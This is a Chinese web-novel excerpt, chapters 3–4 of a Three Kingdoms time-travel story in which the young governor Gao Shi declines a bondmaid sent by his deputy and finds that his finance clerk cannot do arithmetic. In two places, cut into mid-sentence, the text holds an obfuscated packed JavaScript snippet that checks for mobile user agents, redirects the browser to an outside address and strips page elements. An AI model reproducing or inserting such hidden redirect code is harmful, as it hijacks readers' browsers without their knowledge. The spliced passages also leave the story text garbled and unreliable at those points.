《三国文官,但只看过扭三版》 3. 假长沙郡守 新郡守上任,整个临湘的大小官员以及各县县令都来拜见,大家聚在郡守府中,摆好宴席,还请了乐师奏乐舞蹈,其乐融融好不快活。 这场宴席当然不是远在襄阳的高式操办的,而是郡丞区景布置的。新官上任第一天,摆个宴席,和下面的属官认识一下,双方行政人员乐呵呵地对接,这是历来惯例。 当然,席中少不了各种阿谀奉承和小心试探,这群人都是在官场摸爬滚打多年的老油条,能力不说怎么样,察言观色的本事练得一绝。 他们阅人无数,也见识了许多高门士族子弟从入仕到晋升再到高官厚禄的变化,按理说高式作为此时上任荆州的刘表嫡系,肩负着安抚豪强、平定蛮夷、稳定局面的人物,形象无非几种。 一是经学派,从小在高门长大,精通经义、学识渊博,在官位上基本无为而治,最终还是要放权给当地士族,大概率以后以经学大儒形象传名世间,比如孔融、蔡邕。刘表因为本身治经能力就很强,属于大儒的一份子,吸引了很多经学家来荆州,一向喜欢任用这样的人才。 二是谋士派,也就是像许攸、郭嘉这样的世家谋士,聪颖过人,能给效力的主公出主意,懂得权衡利弊、考量人情,在政治和谋略方面游刃有余。这样的人上台之后总会采用自己最熟悉也是最省力的制衡方法,拉一派打一派,使不支持自己的士族们让权,给自己一派的士族好处,用政治手段治理地方。 三就是良吏派,把权力紧紧握在自己手里,相信官员必须尽到治理职责,有能力也有野心,兴修水利、开垦农田、整顿吏治、打击异族。打压士族,纠察隐户,把佃农从庄园里揪出来放在官府的治理之下。这种人大多出自寒门,有极强的权力欲和野心,是在场官员们最不喜欢的,实在难以应付。 这位新太守年纪实在太小,名声也好,结合刘表的用人习惯,高式没上任之前这些世家官吏们都猜测他是第一种类型,给足礼节上的尊重,政务上随便做做就能糊弄过去。 开宴短短半个时辰,觥筹交错中,他们就把第二种谋士型排除了。除了礼节到位,这位高长沙明显没什么和他们相谈甚欢的兴致。得体的微笑掩盖不住他恹恹的神情,听到不喜欢的话还会控制不住脸色,秀气的眉毛微微蹙起,眼里带起些焦躁与烦闷。 有些人明里暗里地在他面前说些敏感的话,譬如“张长沙”(作乱的前任太守张羡)、“孙讨虏”(孙权的职务)、“曹丞相”之类的,他也没什么反应,眼神都没变一下,似乎根本听不出来这些人的言外之意。 看来高式是学经能力有余而能力不足的那一种士族子弟无疑了。 许多人心中纷纷松了口气,脸上的笑意也真了几分。 这个高正则,道行还是太嫩了,看来这临湘以后就是我区家起兴之地啊。区景喝了一口酒,笑眯眯地想着。 宴席在大家的各怀鬼胎中结束,高式和部曲们回到刘表安排给他的府邸,指使几个部曲烧点热水,想着赶紧洗漱一番准备入睡。 他在宴席上什么实事都没干,把府衙里各官员的名字和家族记个差不多已经是很努力的结果了。 一直保持着标准的跪坐姿势,喝了一肚子又酸又苦的浊酒,吃了一碗没什么味的鹿肉,又听了一耳朵带着本地口音的古汉语,还得时刻带着得体的微笑,用那些之乎者也的古文客套。高式恍恍惚惚地结束了这次会面,只觉得身心俱疲,打开主卧的门就要先休息一会儿。 他的住所一切都被安排得整整齐齐,部曲们的大通铺、主卧和几间客卧中的家具被褥一应俱全。 这时候的酒度数实在不高,但高式喝得有点多,醉倒不至于,只觉得头又晕又痛,胃里还直犯恶心。 他巡视一番,没有任何椅子凳子样的高脚坐具。现在的坐是礼节的一种,标准姿势就是正坐,也就是跪坐,高脚坐具得等到魏晋南北朝时期北方游牧民族传入才算得上流行。 高式只得坐在床沿上,揉揉跪得发痛的膝盖,再揉揉发晕的头,之前坐车硌得屁股和大腿直酸麻,再加上穿越之前肩颈和腰背还有旧伤在隐隐作痛,他真感觉浑身要散架了。 一只手突然从背后抱住了他的脖子,高式一惊,吓得身子一抖,顿时思绪都空白了一下。 这房间里有人?! 这不是我的房间吗,哪来的人?! 他僵硬地扭头,一位美人身着中衣,裹在他松软的被子里。 “太守,奴婢乃区氏家奴,奉郡丞之命服侍您起居,太守欲更衣否?” 她黑发半散,肤色丰润,面若桃花,身上还熏了好闻的香,只是讨好地笑着,眼神却沉寂黯淡,不见丝毫流转的神采。 高式见是活人,松了一口气,随即心中涌起一股无力感,不知道说什么好。 他知道封建社会是阶级社会,地主剥削农民、富人欺压穷人的事屡见不鲜,把人当货物买卖相送更是权贵间的惯例,培训的时候系统都细致地讲过了。但亲眼见到这一幕,他还是有点五味杂陈。 高式无意与封建社会意识形态对抗,社会生产力提不上去生产关系是不会有根本性变化的。在这个大部分人饭都吃不上、南方还是瘴气弥漫大森林的时代,他的目标只是做好一个行政官,让更多的人吃上饭、穿上衣,作为皇权这个最大地主的代表,约束好地方小地主对底层人民的压迫,让人民活得好一点,再好一点。 眼前的女人,就是封建时代受压迫女人的典型,她们作为奴婢被主家驱使,或许自认为处境比那些终日劳作却依旧吃不上饭、孩子接连饿死的农人女性还要好一些。 他轻轻叹了口气,看着眼前低眉顺目的女性,半晌才说了一句话。 “余头痛,苦不堪言,女士可否以巧技治之,解余于疾痛?不胜感激!” 我头好疼,真是痛苦得不能用语言描述,女士您能不能用精妙的技巧治疗它,使我从疾病与疼痛中解脱出来?我不能再感激您了! 听到这句话,被送来的女人愣了一下,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301275|198638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻掀开被子跳下床,朝高式跪了下来,开始哭泣。 “奴婢惶恐!此诚非奴之过也,太守何以责奴之切乎?” 意思是,奴婢我慌张又恐惧!这件事真的不是我的过错啊,太守您为什么这么深切地责怪我呢? 听着她悲切的哭声,高式头皮都麻了。她认为高式刚才说的话那么客气是因为对她擅自闯进来的事很生气,准备赶走她,甚至杀了她。 安慰人的话高式本来就不会说,安慰古代人的话他就更说不出什么了,他连忙站起来离开那女人跪拜的方向,朝门口快步疾行想直接离开,听到她越发凄厉的哭声害怕人直接自裁,又折了回来。 系统没培训过东汉时期有人跪在自己面前嚎啕大哭的时候该怎么办啊! 惊惧的哭声扰得高式心里越发烦躁,他只觉得头更痛了,咬了咬嘴唇,呵止道: “若不止泣,我必杀汝!” 那女人立刻停止了出声,只是眼泪依旧不停地流着,一边梨花带雨地哽咽一边把身体摆成一个好看的形状。 高式努力缓和面容,挤出个温和的微笑:“我非怪汝,只是不喜闻人泣声。汝自可留下,为我烹饪浣衣也。” 她果然停止了哭泣,嘴里说着感谢太守之恩奴婢必当尽心之类的话,露出一个妩媚的笑容。 “汝之心意我已知矣,而今腹饱衣净,汝可去而寝也。” 意思是,你的意向我知道了,我现在吃得饱饱的,衣服也很干净,你离开睡觉去吧。 她没有离开,而是红着脸嗫嚅着说:“奴婢名巧姬,善丝竹,曾阅《女戒》,虽蒲柳之姿,诚良仆婢也。若幸得为太守更衣……” 她的名字叫巧姬,擅长奏乐,曾经读过《女戒》,虽然自谦地说自己长得不好看,但是真的是很好的仆人,想伺候高式睡觉。 高式直接打断了她的话:“汝速去之,我惧内。” 你快离开吧,我害怕我老婆。 听到这个理由,巧姬果然不复之前的惶恐,擦擦眼泪转身就想走。 “等等,穿好衣服再走吧,现在外面冷。” 巧姬立刻迅速地套上大袄和厚裳,穿上鞋,行了个礼离开了。 木门在眼前关上,高式终于忍不住重新坐在床沿上,晕得干呕了起来。他揉揉越发疼痛的头,觉得自己真快要步曹操的后尘了。 他决定了,明天就在部曲们睡的大通铺房旁边找个屋子收拾收拾搬进去,这主卧不睡也罢。这个名叫巧机的女人想留就留下来,他不会给任何超出生存所需的粮食;有了新的去出想走就走,他也给提供财物。 至于洗衣服做饭,就洗洗自己的衣服做自己的饭吧,他高式初中开始就不用家长帮忙洗衣服了。 门外,巧姬平静地走在回住处的小路上,月光温柔地撒下来,白茫茫地照在湿润的土地上,带着一丝凛冽的凉意,她却不觉得像以前那么冷了。 她看着陌生的大宅邸,忽然觉得世界模模糊糊地发起光来。 4.假长沙郡守 凌晨五点,高式被提前嘱咐好的部曲推醒,在床上懵了好一会儿,头像被搅过一样顿顿地痛,眼皮也酸得厉害。 昨天舟车劳顿一路本来就累得不行,开宴会又开得很晚,再加上喝了过量的酒搞得头晕晕的,他根本没休息够,只觉得浑身难受,脑袋都转不动。 现在是冬天,外面天色还不明晰,不像现代总有几盏耗电的灯彻夜亮着,一片漆黑,一点光也看不到。高式这些部曲不算严格意义上的人类,没有需要光才能看见东西的生理需求,自然也没点个蜡烛给他,只是不停地晃他,让本就酸痛的肩膀更加雪上加霜。 “好了好了我醒了……” 高式摸索着爬起来,眼睛还半阖着,沙着嗓子模模糊糊地嘟囔:“掌个灯吧,人类没有光是看不清东西的……” 部曲立刻点起蜡烛,高式强打精神往身上套衣服,把睡得乱糟糟的头发紧紧扎起来,发髻乱七八糟的就往发冠里一藏,挂上佩剑。用还带着冰碴子的凉水往脸上一捧,终于彻底清醒过来,带着几个部曲点卯去了。 东汉时期官员上值的时间是早上五点到七点,这时候是卯时,也就是通常说的“点卯”。长沙府衙上值时间取了个中点,规定六点钟必须到值工作。 下值时间是酉时,也就是晚上五点到七点,长沙府衙仍旧取中点六点。中间有一个时辰休息时间,分成上午、下午两段,可以让官员吃饭休息、放松身心。 一天下来工作时间是十小时,每五天休息一天,也就是“五日休沐”。清明、元宵等重要假期会放假,一年还有十五天年假,生病了可以请病假。 府衙范围内还建了许多住人的宅院,叫做官舍,供官员居住。“三互法”还有用的时候,地方主要官员都是外地人,一时半会找不到住处就住在官舍里。 但现在任职的官员许多都是本地大族豪强,随随便便就能在周边卖几个舒舒服服的大宅子住,甚至有的官员直接天天坐马车回家,常住在官舍里的倒成了没多少钱也没背景的寒门官吏。 高式现在就住在刘表送他的大宅子里,离府衙很近,新挂的横匾写着“高宅”,确实宽敞明亮,不知道以前是哪个豪强的,被他白捡了。 府衙不管饭,吃饭的事官员自己解决。现在东汉还是两餐制,大多数人早上九点到十一点吃一顿,称为“朝食”;下午三点到五点吃一顿,称为“晡食”。有些有条件的王侯和官员会吃三顿,晚上再来一餐,保证夜晚也不会饥饿。 许多官员会自己带些干粮做朝食,下午的晡食则由家里人做好来送,一般都是粟米饭和一些没什么滋味的煮菜,大家吃完之后再工作一会儿就回家休息了。 这就是东汉官员的日常生活,和现代人相比简直是食少事烦质量低,但和当时大量从事体力劳动的农人和士兵相比来说已经非常轻松了。 高式上任之前培训的时候已经充分了解过,心理上做好了准备,生理上仍旧有点受不住,这样日出而作、日落而歇的健康生活他从有记忆以来就没过过,一时半会儿还适应不了,困得在路上直眯眼。 五点半到达府衙,不少官员已经到了前厅,正三三两两坐着聊天,见高式来了连忙起身行礼,高式一一还礼,气氛看起来十分和谐。 现在府衙中名义上最大的官是高式,但实际在做行政工作的人是郡丞区连;内地郡不设都尉,军事力量名义上也是由高式掌握,但实际上整个长沙的兵力十有八九都在刘磐和他的副手黄忠手里,两个人带兵驻扎在攸县,起到骚扰扬州的作用。 府衙中负责具体行政事务的诸曹掾史按理来说也应该由高式任命,可事情不等人,各个做事的位置早就已经被当地豪强、刘表、襄阳豪强瓜分了。高式孤身一人又没有属官可用,就算这些位置空着留给他也得尽快填上。 地方各县的县长、县丞、县尉也早就形成了属于自己的利益小集团,高式如果现在发布命令也得不到执行,可能还会起到反效果。 这就是一个“空降”高官所要面临的人生地不熟的问题,幸好系统给培训过了。 高式一边应酬一边在心里庆幸地想。 随着六点接近,官员们也都陆陆续续地来了,区连作为现在最位高权重的官员,卡着点走进府衙大门。 “郡丞来了!” “区郡丞无恙乎?” 区连乐呵呵地拱手回礼:“昨日宴乐,极为欢愉,流连忘返,竟不知时。更深露重归家,偶感风寒而已,晚来几步,各位勿要见怪!” 高式也按培训的内容迎上去寒暄,露出一个微笑表达自己的善意:“今新年初始,百废待兴,小子匆匆而来,学疏力浅,恐不能胜任。区公为府衙之栋梁,万望保重身体,切不可染恙啊!” 区连听罢,十分满意,认为自己给了高式一个下马威,中气十足地哈哈大笑起来:“多谢正则关心,老夫年老体弱而已,已无大碍。正则年富力强,加以学习,来日定可平步青云!现今府衙之事可尽托于我也,哈哈哈哈哈哈……” “那就有劳郡丞了。”高式做了个揖回答道。 场下部分年轻官员当场脸色怪异,有的还差点笑出来。 新来的年轻太守肉眼可见的面色苍白,疲倦不堪,嗓音沙哑,一看就知道水土不服生病了,却被人说“年富力强”;区连这老东西面色红润,中气十足,笑声都快把府衙的屋顶冲破了,竟然还有脸说自己“年老体弱”。 还“偶感风寒”嘞,要是区连风寒了那高正则怎么也算病入膏肓吧。 所有人依次落座,高式跪坐在主案上,看着座下各怀鬼胎的家伙们道:“式初上任,不知郡情,若贸然行事,恐不合时宜。我欲观长沙郡之过往案牍,烦请诸君助我处理公事。” 我刚刚上任,不知道长沙郡的具体情况到底如何,要是急匆匆地下令害怕不符合我们郡的实际情况。麻烦你们帮我看着点日常政务,我看看咱们郡的简牍和行政公文,学一下长沙这边是怎么处理公务的。 众官员面面相觑,不知道高式是要彻底放权还是要找他们麻烦,只能应承下来。 “遵命!” 高式让这些官员们先处理当日的政务,自己带着部曲来到了存放档案的房间。 长沙郡历史悠久,从秦朝时就开始设郡,堆在这些屋子里的简牍数目庞大,没个几天几夜根本看不完。 有几间已经装满了,那些都是前朝的公文,封存起来很久没人浏览,全都落灰了。后面的几间则是本朝和现在的档案,高式直奔最后一间,并吩咐部曲把前几间里记载山川地貌和人文风俗的找出来。 这才几百年,环境和人文没出现什么大变化,现在的官员可能会撒谎,加上前朝的记载就可信多了。 高式从郡志开始看起,此时的文字载体是竹简,长长的,记录文字竖向且从右向左,没有标点符号,认起来非常麻烦。一个部曲负责给他拿书放书,高式就这样艰难地从郡志读到户牍,再到农田情况、赋税情况、府衙财政。 他对当地社会治理没有了解,读到人口几何、耕地几何、课税多少这些具体问题只能选择暂时相信,默默记下来准备以后实地考察。但读到记载郡内上个月收支情况的“月计”,高式就能看懂了,这一看就立马看出问题了。 “十二月俸禄支出……购置简牍用物……郡兵补贴……共计钱粮……” 这个数算得……好像不对吧? 高式在心里默算了好几遍,又找来新的竹简用竖式加了一遍,和月计上的数额差距仍然巨大。 他拿着漏洞百出的月计册,挠挠头陷入了沉默。 这是在干什么呢?难道在做假账吗…… 那为什么不直接修改支出数额,而是在计算过程中做手脚呢? 做假账做成这样人不是一眼就能看出来? 不是说现在政府官员贪腐做假账水平已经很高了吗? 高式百思不得其解,准备开门见山,直接拿着月计账本去廨舍找负责的金曹掾史询问。 金曹掾是他手下的功曹之一,负责府衙中的财政、货币等事务。这个职位本来应该设置三个官员,刘表的行政班子撤走后空出来两个位置,但立刻被地方豪强张家、黄家预定了。 两位少爷还没上任,现在在办事的只有之前就在的区连的侄子区合区伯谐,再加上他手下两个金曹史,整个金曹廨舍只有三个人在运转,空荡荡的。 高式风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303611|198638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风火火地来到金曹廨舍,敲敲门就进去了:“区曹掾何在,我有事请教。” 区合正在桌案上品茶,他是一个长相端正的年轻人,穿着颜色亮丽的锦袍,带着形制优雅的冠,腰带上还挂着精美的玉佩,装扮得十分漂亮。见高式推门进来,他连忙放下手中的茶杯起身行礼,尴尬地笑了笑,摸着手边的竹简欲盖弥彰。 “曹掾无需多礼,此次来是有疑问想请教曹掾。” 高式回了个礼,立刻带着他在榻上跪坐下来,这是东汉时期士大夫商量事务标准的礼节。 他正坐在案前,身形挺拔,手中拿着一卷竹简缓缓展开。区合见高式容貌清丽,神情稳重,举止有礼,言语大方,又想到刘表对他的高评价,心里十分喜欢,有意与他结交,顺势携住他的手臂,笑眯眯地说: “太守唤某字伯谐就好,有什么需要某帮忙的,某一定尽心协助。” 高式僵了一下,心下拼命劝自己这是士族子弟正常礼节、东汉人就是喜欢肢体接触的,忍着没当场把手臂抽出来,翻开竹简的手更快了。 “伯……伯谐请看,这里的支出数目为何如此,我不善数,不能领会其中规律。” 高式转头看他说话,区合近近地看见他苍白中带点红晕的皮肤,略带茶色水润的眸子,漂亮的眼睛下嵌着一颗泪痣,饱满但有些发白的嘴唇,因为刚刚走过来额头上还冒着潮湿的气息,几根黑发散下来,弯弯曲曲地爬在额角、鬓边,带出些旖旎的美感。 他说话有些慢,声音带着沙沙的质感,几句话说完,区合恍恍惚惚,一时没反应过来,高式用手指在竹简上敲了几下,他才赶紧看向高式指的部分。 看了一会儿,区合面色逐渐严肃,他好像也认识到不对,道:“太守稍候,我拿算筹来。” 不一会儿,他拿回来一个木盒,里面装着红木做成的精美的小算筹。区合一本正经地拿出来,重新算了起来。 高式看他算得投入,也不去打扰他。区合算了半天,终于得出了一个新的数。 “哎呀,原是我不小心计算疏忽,是我的错啊!我愿意自行出钱弥补损失,太守请原谅我吧!” 区合连连道歉,像是快要哭出来,迅速提起笔修改一番。高式赶紧拍拍他的肩膀安慰了几句,往竹简上一瞥又沉默了。 他认真地双手扶着区合的肩膀,轻轻叹了一口气,组织好语言小心地说:“伯谐你要不……再试一次?” 区合也愣住了,看着高式严肃的样子拿算筹重新拼了一遍,又得出了一个不同的数。 这次区合是真的想哭了,他小心翼翼地开口,说了一个仍然陌生的数字。 看着府衙金曹掾试探的眼神,高式这次真的震惊了,感情什么阴谋诡计都没有,这家伙是真不会算数?! 他忍不住站起身来,后退两步,疑惑地打量着面前衣冠楚楚、举止儒雅的区家子弟,他知道这些世家豪强为了争夺权利肯定会拼命往府衙里塞人,但是这就太过分了吧。 管财政的官一共就三个,两个是挂名的,一个不会算数,这算怎么回事,照这么搞下去长沙行政非瘫痪不可! 眼见想要结交的才俊离自己越来越远,区合心里欲哭无泪。他本来就是在这金曹掾里面混资历的,刘表把干活的人撤走以后他硬着头皮处理了两个月的公务,已经很努力了。谁知这位太守上任第一天就揪出了自己的破绽,这下好了,别说结交了,高式那像看见新奇玩意的态度,搞不好连官职都得没,丢人丢大发了。 两个人相对沉默,说不出话来。区合是因为羞愧,高式则是不知道该说什么好。 作为一个意在造福百姓而不是争权夺利的文官来说,处在当下的境地,其实最好的方法是韬光养晦,千万不能和当地现存的强大政治势力作对,否则引起他们的警惕,以后想做什么事可就难了。 但是高式又觉得对这种事视若无睹不太好,金曹掾可以不会审计,可以不会写公文,但是连算数都不会就太不对劲了点。 我们府衙要完蛋了! 欲言又止许久,高式终于决定说点什么,他缓缓吐出一句话: “我觉得金曹掾还是得会点数算,伯谐你觉得呢?”